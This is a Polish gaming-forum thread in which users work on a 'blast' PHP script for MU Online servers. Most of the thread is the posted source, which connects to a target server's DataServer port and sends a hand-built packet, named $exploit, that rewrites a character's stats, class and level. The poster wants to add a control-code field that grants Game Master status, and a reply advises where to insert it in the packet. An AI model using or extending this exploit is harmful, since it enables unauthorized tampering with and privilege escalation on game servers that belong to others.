Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

Rekomendowane odpowiedzi

Opublikowano

Witam ostatnio zacząłem grzebać w kodzie stats.php i zaciekawiło mnie robienie klasy postaci które wygląda tak:

<tr>

<td align="left">Klasa postaci</td><td align="left">

<select name="class">

<option value="48" selected>Magic Gladiator</option>

<option value="32">Elf</option>

<option value="33">Muse Elf</option>

<option value="16">Dark Knight</option>

<option value="17">Blade Knight</option>

<option value="33">Muse Elf</option>

<option value="0">Dark Wizard</option>

<option value="1">Soul MAster</option>

<option value="64">Dark Lord</option>

</select>

</td>

</tr>

...

$class = $_POST['class'];

 

<select name="class"> odwołuje sie do kolumny class w bazie danych jak przepuszczam.

wiec postanowiłem to przerobić do takiej postaci:

<tr>

<td align="left">GameMaster</td><td align="left">

<select name="CtlCode">

<option value="0" selected>Normal</option>

<option value="1">Stoped</option>

<option value="8">GM</option>

<option value="12">Niewidzialny</option>

<option value="24">GM 2 LVL</option>

<option value="32">Banned</option>

</select>

</td>

</tr>

...

$CtlCode = $_POST['CtlCode'];

 

niestety to nie działa. czy ktoś wie może jak to można przerobić?

Opublikowano

ehh...

<select name="class"> odwołuje sie do kolumny class w bazie danych jak przepuszczam.

niezbyt bo to co podałeś to jest sam kod html umożliwiający użytkownikowi wybranie odpowiednich opcji

w tym przypadku klasy postaci jaka chcesz utworzyć / edytować.

np MG na numer 48, Elf 32 itd...

A z tego co ja rozumiem to chcesz sobie za pomocą blasta zrobić GM wiec po prostu musisz znać id GM i zamienić np

<option value="48" selected>Magic Gladiator</option>

na coś takiego

<option value="ID GM'a" selected>GM</option>

Wtedy powinno zadziałać ale nie jestem pewien.

 

Pozdr.

 

You can stop Me But You can't stop them All

mpcuserbarblack.jpg

phpcoderqb2.jpg

autoitscripterblueuserbtw2.png

cmduser1dp0dw4.gif

Opublikowano

przecież to jest to <option value="8">GM</option> i to nie działa. to do wybierania wydaje mi sie ze jest ok. zastanawia mnie $CtlCode = $_POST['CtlCode']; zgapiłem to od robienia postaci i napisałem dla CtlCode. gdyby tego zapisu dolnego nie było wtedy wyskakuje błąd po załadowaniu blasta, a z tym zapisem wszystko przechodzi dobrze tylko ze nie działa. może na nowej wersji w SQL to sie jakoś inaczej nazywa.

Opublikowano

ehh...

$CtlCode = $_POST['CtlCode'];

to jest same przypisanie do zmiennej

dalej w kodzie musisz mieć jeszcze wysłanie tego w postaci zapytania do servera SQL.

Może byś tak dał cały src tego blasta bo tak po kawałku to do gwiazdki będziemy nad tym sugestie wymieniać

 

Pozdr.

You can stop Me But You can't stop them All

mpcuserbarblack.jpg

phpcoderqb2.jpg

autoitscripterblueuserbtw2.png

cmduser1dp0dw4.gif

Opublikowano

<?php

 

error_reporting(E_ALL);

 

if (!isset($_POST['execute']))

{

print('

 

 

Wypelnij wszystkie pola zgodnie z opisem<br />

<b>WSZYSTKIE ITEMY KTORE MASZ W EKWIPUNKU ZNIKNA BEZPOWROTNIE!!!</b><br />

<form action="' . $_SERVER['REQUEST_URI'] . '" method="post">

<input type="hidden" name="execute" value="true">

<table>

<tr>

<td align="left">Nazwa postaci (nie konta!!!)</td><td align="left"><input type="text" name="name" maxlength="10"></td>

</tr>

<tr>

<td align="left">Klasa postaci</td><td align="left">

<select name="class">

<option value="48" selected>Magic Gladiator</option>

<option value="32">Elf</option>

<option value="33">Muse Elf</option>

<option value="16">Dark Knight</option>

<option value="17">Blade Knight</option>

<option value="33">Muse Elf</option>

<option value="0">Dark Wizard</option>

<option value="1">Soul MAster</option>

<option value="64">Dark Lord</option>

</select>

</td>

</tr>

<tr>

<td align="left">GameMaster</td><td align="left">

<select name="CtlCode">

<option value="0" selected>Normal</option>

<option value="1">Stoped</option>

<option value="8">GM</option>

<option value="12">Niewidzialny</option>

<option value="24">GM 2 LVL</option>

<option value="32">Banned</option>

</select>

</td>

</tr>

<tr>

<td align="left">IP serva:</td><td align="left"><input type="text" name="ip" maxlength="15"></td>

</tr>

<tr>

<td align="left">Data Port</td><td align="left"><input type="text" name="port" value="55960" maxlength="5"></td>

</tr>

<tr>

<td align="left">Sila</td><td align="left"><input type="text" name="str1" maxlength="3"></td>

</tr>

<tr>

<td align="left">Sila*256</td><td align="left"><input type="text" name="str2" maxlength="3"></td>

</tr>

<tr>

<td align="left">Zrecznosc</td><td align="left"><input type="text" name="dex1" maxlength="3"></td>

</tr>

<tr>

<td align="left">Zrecznosc*256</td><td align="left"><input type="text" name="dex2" maxlength="3"></td>

</tr>

<tr>

<td align="left">Zycie</td><td align="left"><input type="text" name="vit1" maxlength="3"></td>

</tr>

<tr>

<td align="left">Zycie*256</td><td align="left"><input type="text" name="vit2" maxlength="3"></td>

</tr>

<tr>

<td align="left">Energia</td><td align="left"><input type="text" name="en1" maxlength="3"></td>

</tr>

<tr>

<td align="left">Energia*256</td><td align="left"><input type="text" name="en2" maxlength="3"></td>

</tr>

<tr>

<td align="left">Numer mapy(<a href="lista.htm" target="_blank">Lista</a>)</td><td align="left"><input type="text" name="mapnumber" value="0" maxlength="1"></td>

</tr>

<tr>

<td align="left">Kordy X</td><td align="left"><input type="text" name="posx" value="200" maxlength="3"></td>

</tr>

<tr>

<td align="left">Kordy Y</td><td align="left"><input type="text" name="posy" value="50" maxlength="3"></td>

</tr>

<tr>

<td align="left">Level</td><td align="left"><input type="text" name="level1" value="0" maxlength="3"></td>

</tr>

<tr>

<td align="left">Level*256</td><td align="left"><input type="text" name="level2" value="2" maxlength="3"></td>

</tr>

<tr>

<td align="left">Exp</td><td align="left"><input type="text" name="exp1" value="0" maxlength="3"></td>

</tr>

<tr>

<td align="left">Exp*256</td><td align="left"><input type="text" name="exp2" value="0" maxlength="3"></td>

</tr>

<tr>

<td align="left">Exp*65536</td><td align="left"><input type="text" name="exp3" value="0" maxlength="3"></td>

</tr>

<tr>

<td align="left">Exp*16777216</td><td align="left"><input type="text" name="exp4" value="5" maxlength="3"></td>

</tr>

<tr>

<td align="left">Stopien PK</td><td align="left"><input type="text" name="kills" value="0" maxlength="3"></td>

</tr>

<tr>

<td align="left" colspan="2"><input type="submit" value="Blast!"></td>

</tr>

</table>

</form>

');

 

die();

 

}

 

if (!isset($_POST['ip']))

{

die("Enter an ip, idiot");

}

 

 

$serveraddr = $_POST['ip']; // Server IP or ISP address

$charname = $_POST['name']; // Character Name (char 10)

$port = $_POST['port']; // Data Server Port

 

// Zen

$money = Array();

$money["plus"] = "0";

$money["256"] = "0";

$money["65536"] = "0";

$money["16777216"] = "5";

 

$class = $_POST['class'];

 

$CtlCode = $_POST['CtlCode'];

 

// City Number

$mapnumber = $_POST['mapnumber'];

 

// Position X

$mapposx = $_POST['posx'];

 

// Position X

$mapposy = $_POST['posy'];

 

// View Direction

$mapdir = "6";

 

// Level

$level = Array();

$level["plus"] = $_POST['level1'];

$level["256"] = $_POST['level2'];

 

// Experience

$exp = Array();

$exp["plus"] = "0";

$exp["256"] = "0";

$exp["65536"] = "0";

$exp["16777216"] = "10";

 

// Level up points

$lvluppts = Array();

$lvluppts["plus"] = "0";

$lvluppts["256"] = "0";

$lvluppts["65536"] = "1";

$lvluppts["16777216"] = "0";

 

// Kills

$kills = Array();

$kills["plus"] = $_POST['kills'];

$kills["256"] = "0";

$kills["65536"] = "0";

$kills["16777216"] = "0";

 

// PK Level

$pklevel = Array();

$pklevel["plus"] = "0";

$pklevel["256"] = "0";

$pklevel["65536"] = "0";

$pklevel["16777216"] = "0";

 

// Time left in PK

$pktime = Array();

$pktime["plus"] = "0";

$pktime["256"] = "0";

$pktime["65536"] = "0";

$pktime["16777216"] = "0";

 

// Strength

$str = Array();

$str["plus"] = $_POST['str1'];

$str["256"] = $_POST['str2'];

 

// Dexterity

$dex = Array();

$dex["plus"] = $_POST['dex1'];

$dex["256"] = $_POST['dex2'];

 

// Vitality

$vit = Array();

$vit["plus"] = $_POST['vit1'];

$vit["256"] = $_POST['vit2'];

 

// Energy

$energy = Array();

$energy["plus"] = $_POST['en1'];

$energy["256"] = $_POST['en2'];

 

// Life

$life = Array();

$life["plus"] = "0";

$life["25.6"] = "1000";

 

// Max. Life

$maxlife = Array();

$maxlife["plus"] = "0";

$maxlife["25.6"] = "1000";

 

// Mana

$mana = Array();

$mana["plus"] = "0";

$mana["25.6"] = "1000";

 

// Max. Mana

$maxmana = Array();

$maxmana["plus"] = "0";

$maxmana["25.6"] = "1000";

 

 

 

////////////////-\\\\\\\\\\\\\\\\\

/////////// PROGRAM! \\\\\\\\\\\\\

////////////////-\\\\\\\\\\\\\\\\\

 

$socket = socket_create(AF_INET, SOCK_STREAM, 0);

 

if (!@socket_connect($socket, $serveraddr, $port))

{

die("Ten port jest zabezpieczony:(.\n");

}

 

$exploit = "194 3 172 7 "; // Query to update character

 

for ($i = 0; $i < strlen($charname); $i++)

{

$exploit .= ord(substr($charname, $i, 1)) . " ";

}

 

for ($i = 10-strlen($charname); $i > 0; $i--)

{

$exploit .= "0 ";

}

 

$exploit = substr($exploit, 0 , strlen($exploit));

 

$exploit .= "0 0 ";

$exploit .= $level["plus"] . " " . $level["256"];

$exploit .=" " . $class . " 0 ";

$exploit .= $lvluppts["plus"] . " " . $lvluppts["256"] . " " . $lvluppts["65536"] . " " . $lvluppts["16777216"];

$exploit .= " " . $exp["plus"] . " " . $exp["256"] . " " . $exp["65536"] . " " . $exp["16777216"];

$exploit .= " 255 0 0 0 ";

$exploit .= $money["plus"] . " " . $money["256"] . " " . $money["65536"] . " " . $money["16777216"];

 

$exploit .= " ";

 

$exploit .= $str["plus"] . " " . $str["256"];

$exploit .= " " . $dex["plus"] . " " . $dex["256"];

$exploit .= " " . $vit["plus"] . " " . $vit["256"];

$exploit .= " " . $energy["plus"] . " " . $energy["256"];

$exploit .= " " . $life["plus"] . " " . $life["25.6"];

$exploit .= " " . $maxlife["plus"] . " " . $maxlife["25.6"];

$exploit .= " " . $mana["plus"] . " " . $mana["25.6"];

$exploit .= " " . $maxmana["plus"] . " " . $maxmana["25.6"];

$exploit .= " 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 103 57 46 0 157 154 70 128 0 0 255 255 255 255 255 255 255 255 255 255 160 0 255 0 53 173 152 128 0 0 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 176 32 128 0 177 215 132 128 0 0 201 0 1 0 0 0 0 128 0 0 201 0 1 0 0 0 0 128 0 0 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 198 88 3 0 0 0 0 128 0 0 198 88 3 0 0 0 0 128 0 0 195 88 2 0 0 0 0 128 0 0 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 198 88 3 0 0 0 0 128 0 0 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255

255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 17 0 0 6 0 0 2 0 0 5 0 0 3 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 ";

 

$exploit .= $mapnumber . " " . $mapposx . " " . $mapposy . " " . $mapdir . " "; // Map Number (int 1)

$exploit .= $kills["plus"] . " " . $kills["256"] . " " . $kills["65536"] . " " . $kills["16777216"] . " ";

$exploit .= $pklevel["plus"] . " " . $pklevel["256"] . " " . $pklevel["65536"] . " " . $pklevel["16777216"] . " ";

$exploit .= $pktime["plus"] . " " . $pktime["256"] . " " . $pktime["65536"] . " " . $pktime["16777216"];

$exploit .= " 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 0 0";

 

$charvar = explode(" ", $exploit);

 

$exploit = "\$exploit = ";

for ($i = 0; $i < count($charvar); $i++)

{

$exploit .= "chr(" . $charvar[$i] . ") . ";

}

 

$exploit = substr($exploit, 0, strlen($exploit)-3);

$exploit .= ";";

 

eval($exploit);

 

socket_write($socket, $exploit, strlen($exploit));

socket_close($socket);

 

print("Teoretycznie wszystko sie udało:)\n");

 

 

?>

Opublikowano

MAm dwa pytania: 1) co to jest blast 2) za pomoca ktorego programmu najlepiej mozna zobaczyc kod zrodlowy jakiegos pliku gry ?

Opublikowano

ehh...

Tak jak pisałem wyżej nie wysyłasz tej informacji do server'a

zmienna

$exploit

zawiera całkowity pakiet wysyłany na port server'a

Moim zdaniem wystarczyło by wpisać zmienne w odpowiednie miejsce tego pakietu.

Najlepszy byłby jakiś dump z bazy żeby zobaczyć czy informacja iż jesteś GM'em

test np po pktime na 2 miejscu.

 

MAm dwa pytania: 1) co to jest blast 2) za pomoca ktorego programmu najlepiej mozna zobaczyc kod zrodlowy jakiegos pliku gry ?

 

Blast to program/skrypt umożliwiający stworzenie sobie postaci do MU z max statami w kilka s

Kod no nie wiem co masz dokładnie na myśli (ale masz od tego HexEdytor'y, debugger'y,

ale najpierw oczywiście należało by wziąć i plik unpack'ować jeśli zachodzi taka potrzeba)

 

Pozdr.

You can stop Me But You can't stop them All

mpcuserbarblack.jpg

phpcoderqb2.jpg

autoitscripterblueuserbtw2.png

cmduser1dp0dw4.gif

×
×
  • Dodaj nową pozycję...